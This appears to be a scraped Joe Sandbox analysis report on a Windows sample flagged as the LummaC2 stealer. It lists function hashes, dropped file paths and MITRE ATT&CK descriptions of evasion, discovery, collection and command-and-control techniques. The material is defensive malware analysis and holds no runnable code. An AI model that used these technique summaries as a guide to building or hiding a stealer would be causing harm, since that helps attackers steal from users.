Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a984843b570b7378253929d1441754c9cdf9516a4ccd76f455c2bd59a9e2d53
Instruction ID: 4252a7a4432cb30146c8a039d4a18507c0eeefb540d419fea1ef7b612e5874d2
Opcode Fuzzy Hash: 7a984843b570b7378253929d1441754c9cdf9516a4ccd76f455c2bd59a9e2d53
Instruction Fuzzy Hash: D201D67BA013128B8324CE5CC4D06ABB3B0FF9A796B2A545DD9815F370D7319D59C261

Function 00D610F3 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fbc66381d63ca012dc433cc08c21f0f0d2a37a600c42ed7e4bb9d78bc7d09b5
Instruction ID: 08d26ccfc8f0b6239d7a75f106a128da73130d070a43854aa72c0c3fb56c36a8
Opcode Fuzzy Hash: 5fbc66381d63ca012dc433cc08c21f0f0d2a37a600c42ed7e4bb9d78bc7d09b5
Instruction Fuzzy Hash: BEB092A5C0A4108798112A103D024AAB0288F13214F082432ED0622306BB16F21E41BF

Function 00D634B7 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 246COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00D63606

Strings

pz, xrefs: 00D6376E, 00D634A8
pz, xrefs: 00D636BA
uw, xrefs: 00D63503
xs, xrefs: 00D634FC

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID: DrivesLogical
String ID: pz$pz$uw$xs
API String ID: 999431828-3977666006
Opcode ID: 6da3c544fe25342e1598a2d924186503fb3812bccfbafad9947d8466e13a29db
Instruction ID: eaf186221b69565b14e09dfe2dbbcb5b8fcaf33dd58aa27c605420e0e9a725f6
Opcode Fuzzy Hash: 6da3c544fe25342e1598a2d924186503fb3812bccfbafad9947d8466e13a29db
Instruction Fuzzy Hash: DF8102B5911306CFCB14CF64E891AAABB70FF1A304B4991A8D445AF326E734D941CFE0

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report QzK1LCSuq2.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\QzK1LCSuq2.exe.log

C:\Users\user\AppData\Local\Temp\LummaC2.exe

C:\Users\user\AppData\Local\Temp\Set-up.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Windows Analysis Report
QzK1LCSuq2.exe

Function 00D75135 Relevance: 65.4, Strings: 52, Instructions: 388
COMMON

Function 00D48720 Relevance: 7.7, APIs: 5, Instructions: 235
threadCOMMON

Function 00D7BAD0 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON

Function 00D7C59C Relevance: 1.3, Strings: 1, Instructions: 70
COMMON

Function 00D7EEC0 Relevance: .1, Instructions: 141
COMMON

Function 00D7BC91 Relevance: 1.5, APIs: 1, Instructions: 20
COMMON

Function 00D7A080 Relevance: 1.5, APIs: 1, Instructions: 9
memoryCOMMON

Function 00D7483C Relevance: 34.0, Strings: 27, Instructions: 298
COMMON

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre